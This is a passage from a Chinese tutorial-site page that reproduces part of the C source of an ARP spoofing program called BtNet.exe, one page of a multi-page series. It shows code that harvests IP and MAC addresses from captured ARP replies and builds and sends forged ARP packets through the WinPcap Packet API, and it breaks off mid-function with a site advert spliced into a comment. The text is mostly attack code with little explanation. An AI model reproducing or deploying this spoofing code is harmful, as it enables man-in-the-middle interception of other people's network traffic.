首页/杀毒教程/内容

的R -基于网络攻击, ARP协议欺骗程序源代码BtNet.exe

杀毒教程2022-11-08 阅读()
((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE)))

{

memset(szTemp,0,sizeof(szTemp));

memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa));

printf("[IP]:");

printf("%s",inet_ntoa(*((struct in_addr *)szTemp)));

printf("[MAC]:");

for(i=0;i<5;i++)

{

printf("%.2x-",eth->eh_src[i]);

}

printf("%.2x",eth->eh_src[5]);

printf("\n");

if (toipandmac.ip==htonl(arp->arp_spa))

{

for(i=0;i<6;i++)

toipandmac.mac[i]=eth->eh_src[i];

toipandmac_flag=TRUE;

}

if (oipandmac.ip==htonl(arp->arp_spa))

{

for(i=0;i<6;i++)

oipandmac.mac[i]=eth->eh_src[i];

oipandmac_flag=TRUE;

// printf("if you have get the MAC Addresses enough,Press any key for staring!\n");

}

if(myipandmac.ip==htonl(arp->arp_spa))

{

for(i=0;i<6;i++)

myipandmac.mac[i]=eth->eh_src[i];

myipandmac_flag=TRUE;

}

}

}

}

continue;

}

}

return 0;

}

DWORD WINAPI sendARPPacket(LPVOID dwsendtoIP)

{

LPPACKET lpPacket;

ETHDR eth;

ARPHDR arphdr;

int i;

char szPacketBuf[600];

u_long sendtoIP=*(u_long *)dwsendtoIP;

//struct sockaddr_in sin;

lpPacket = PacketAllocatePacket();

if(lpPacket==NULL)

{

printf("\nPacketAllocatePacket error!");

return 0;

}

eth.eh_type=htons(ETH_ARP);

for(i=0;i<6;i++)

{

eth.eh_dst[i]=0xff;

eth.eh_src[i]=0xa5;

arphdr.arp_sha[i]=0xa5;

arphdr.arp_tha[i]=0xff;

}

arphdr.arp_hdr=htons(ARP_HARDWARE);

arphdr.arp_pro=htons(ETH_IP);

arphdr.arp_opt=htons(ARP_REQUEST);

arphdr.arp_hln=6;

arphdr.arp_pln=4;

arphdr.arp_tpa=htonl(sendtoIP);

arphdr.arp_spa=htonl(ntohl(inet_addr(MYIP)));

if(sendtoOip)

{

if(myipandmac_flag)

{

for(i=0;i<6;i++)

{

eth.eh_src[i]=myipandmac.mac[i];

arphdr.arp_sha[i]=myipandmac.mac[i];

arphdr.arp_spa=htonl(myipandmac.ip);

//memset(MYIP,0,sizeof(MYIP));

}

}

else

{

printf("My MAC Address Can't Find!\n");

return 0;

}

}

memset(szPacketBuf,0,sizeof(szPacketBuf));

memcpy(szPacketBuf,ð,sizeof(ETHDR));

memcpy(szPacketBuf+sizeof(ETHDR),&arphdr,sizeof(ARPHDR));

PacketInitPacket(lpPacket,szPacketBuf,60);

if(PacketSetNumWrites(lpAdapter, 1)==FALSE)

{

printf("warning: Unable to send more than one packet in a single write!\n");

}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf("Error sending the packets!\n");

PacketFreePacket(lpPacket);

return 0;

}

PacketFreePacket(lpPacket);

return 0;

}

DWORD WINAPI sendSR()

{

ETHDR eth;

ARPHDR arphdr;

int i;

char szPacketBuf[600];

LPPACKET lpPacket;

unsigned char toMAC[6];

struct sockaddr_in sin;

u_long toIP=mytoIP;

//if ((myipandmac_flag==FALSE)(北联网教程,专业提供视频软件下载)

第1页  第2页  第3页  第4页  第5页  第6页  第7页  第8页  第9页  第10页  第11页  第12页  第13页  第14页  第15页  第16页  第17页  第18页  第19页 

……

相关阅读